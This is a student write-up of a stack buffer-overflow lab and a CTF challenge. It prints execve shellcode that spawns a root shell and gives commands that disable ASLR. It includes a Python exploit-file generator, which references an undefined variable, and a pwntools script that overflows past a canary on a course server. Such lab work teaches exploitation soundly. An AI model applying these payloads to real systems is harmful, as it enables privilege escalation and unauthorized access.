# Lab 5 Before doing the tasks it's important to turn off the __address space randomization__: ```bash= sudo sysctl -w kernel.randomize_va_space=0 ``` Also, currently the /bin/sh is a sybolic link that points to a /bin/dash. The /bin/dash makes the attack more difficult, thus it's important to change the pointer to `bin/zsh`: ```bash= sudo ln -sf /bin/zsh /bin/sh ``` ## Task 1 In this lab we started running a piece of code that injected a shellcode. This shellcode when running gave us ROOT permission on the shell: ```c #include <stdlib.h> #include <stdio.h> #include <string.h> const char shellcode[] = #if __x86_64__ "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e" "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57" "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05" #else "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" "\xd2\x31\xc0\xb0\x0b\xcd\x80" #endif ; int main(int argc, char **argv) { char code[500]; strcpy(code, shellcode); // Copy the shellcode to the stack int (*func)() = (int(*)())code; func(); // Invoke the shellcode from the stack return 1; } ``` ## Task 2 In this step we analysed a vulnurable program. The vulnerability was in the part where we tried to copy a string with the length of 517 to a buffer with the lenght of 100. This would cause a buffer overflow. ## Task 3 Following the steps described in the guide, we have explored some variables in the debugger by running: `gdb ./stack-L1-dbg`. Then the following sequence of commands was executed: ```bash= gdb-peda$ b bof # Break pointer to the bof function gdb-peda$ run # Starts the program gdb-peda$ next # Advances inside the bof function gdb-peda$ next # Will advance to the next instruction. Reads the badfile. gdb-peda$ p &buffer # Prints the buffer address [0xffffc9dc] gdb-peda$ p $ebp # Prints the ebp address [0xffffca48] ``` We know that **the position where the return address** is stored inside the stack is the `$ebp + 4`. We can still, however check what is the position of the return value manually. The explanation of how this can be done will be added to the appendix section. Thus, the distance between the &buffer and the position of the return address is: ``` offset = $ebp + 4 - &buffer offset = 0xffffca48 + 4 - 0xffffc9dc offset = 112 ``` Without the gdb, the offset remains the same, since there are no other variables besides the buffer in the `bof` function. So we can conclude that the offset will be 112, be it in dbg mode or normal mode. To figure out the buffer address outside the gdb, we needed to change the program stack.c to print directly his address inside the `bof` function with the following piece of code: ```c printf(ā€œ%p\nā€,buffer) ``` After running the program, we saw that the buffer has the address `0xffffcaac`. So, we need to find out the memory zone where the return (shellcode) address is. This address doesn't need to be exact, the estimative is `buffer + offset + x`, where x is between [4, 200-112]. ```python= # x between [4, 200-112] ret = buffer + offset + x ``` In the end the exploit code will be: ```python= #!/usr/bin/python3 import sys # Replace the content with the actual shellcode shellcode= ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" "\xd2\x31\xc0\xb0\x0b\xcd\x80" ).encode('latin-1') # Fill the content with NOP's content = bytearray(0x90 for i in range(517)) ################################################################## # Put the shellcode somewhere in the payload start = 200 # Change this number content[start:start + len(shellcode)] = shellcode # Decide the return address value # and put it somewhere in the payload L = 4 buffer = 0xffffcaac # The return value will be up in the stack, when not in the debug version offset = 112 ret = buffer + offset + x content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') ################################################################## # Write the content to a file with open('badfile', 'wb') as f: f.write(content) ``` ## Apendix: getting epb manually By adding a break point to the `bof` and `dummy_function` and advancing the code to the moment `bof(str)` is called: ![](https://i.imgur.com/EuavOoS.png) When the `dummy_function` calls the `bof` function, the stack frame shows the address to where the `bof` function is supposed to return: `0x56556403`. Checking the stack in the `bof` function, we see where this address is stored: ![](https://i.imgur.com/YMjF4nZ.png) # CTF - 5th week ## First part Let's first take a look at the source code: ```c char meme_file[8] = "mem.txt\0"; char buffer[20]; printf("Try to unlock the flag.\n"); printf("Show me what you got:"); fflush(stdout); scanf("%28s", &buffer); ``` In the first lines there are two local variables and a `scanf` that reads the `buffer` variable. The trick is to notice that the **scanf is reading 28 chars**. Since the local variables are stored in the same order in the stack, we can cause a buffer overflow by writing more than 20 characters in the scanf. This way, the value of `meme_file` will be overwriten Following this logic, we can rewrite the value to read the flag.txt file. Thus, in this first part of the challenge we can simply write 20 irrelevant characters and then the name of another file with maximum name size 8: ![](https://i.imgur.com/Mv2GrNV.png) ## Second part In the second challenge of this CTF the code has changed: a [_canary_](https://en.wikipedia.org/wiki/Buffer_overflow_protection) was added. ```c= char meme_file[8] = "mem.txt\0"; char val[4] = "\xef\xbe\xad\xde"; char buffer[20]; printf("Try to unlock the flag.\n"); printf("Show me what you got:"); fflush(stdout); scanf("%32s", &buffer); if(*(long*)val == 0xfefc2122) { printf("I like what you got!\n"); FILE *fd = fopen(meme_file,"r"); while(1){ if(fd != NULL && fgets(buffer, 20, fd) != NULL) { printf("%s", buffer); } else { break; } } } else { printf("You gave me this %s and the value was %p. Disqualified!\n", meme_file, *(long*)val); } fflush(stdout); return 0; ``` The logic is similar to the previous challenge: create a buffer overflow and rewrite the content of `meme_file`. However, the canary slightly modifies our argument: we must add 20 characteres of our choosing in the `scanf`, add another 4 chars (which must be the canary value) and then the name of the file we must read. In short, our goal is to apply the same approach from the last challenge, but the canary must not be modified (or at least rewritten with the same value). For this, we can use a python script, since the string can contain hexadeximal values. As it can be visualized in the line 9 of our c program, the val (which is a char array) will be interpreted as an address. The question is: how can we parse a python string that will be interpreted as hexadecimal? The c program gives us the answer. ![](https://i.imgur.com/zEi477C.png) By executing the program without changing the val, the `"\xef\xbe\xad\xde"` is interpreted as `0xdeadbeef`. Thus, the canary that has the value `0xfefc2122` must be writen as: `"\x22\x21\xfc\xfe"`. The exploit looks like this: ```python #!/usr/bin/python3 from pwn import * DEBUG = False if DEBUG: r = process('./program') else: r = remote('ctf-fsi.fe.up.pt', 4000) r.recvuntil(b":") canary = "\x22\x21\xfc\xfe" r.sendline("c"*20 + canary +"flag.txt") r.interactive() ``` By executing it, the flag is shown: ![](https://i.imgur.com/2d63zK4.png)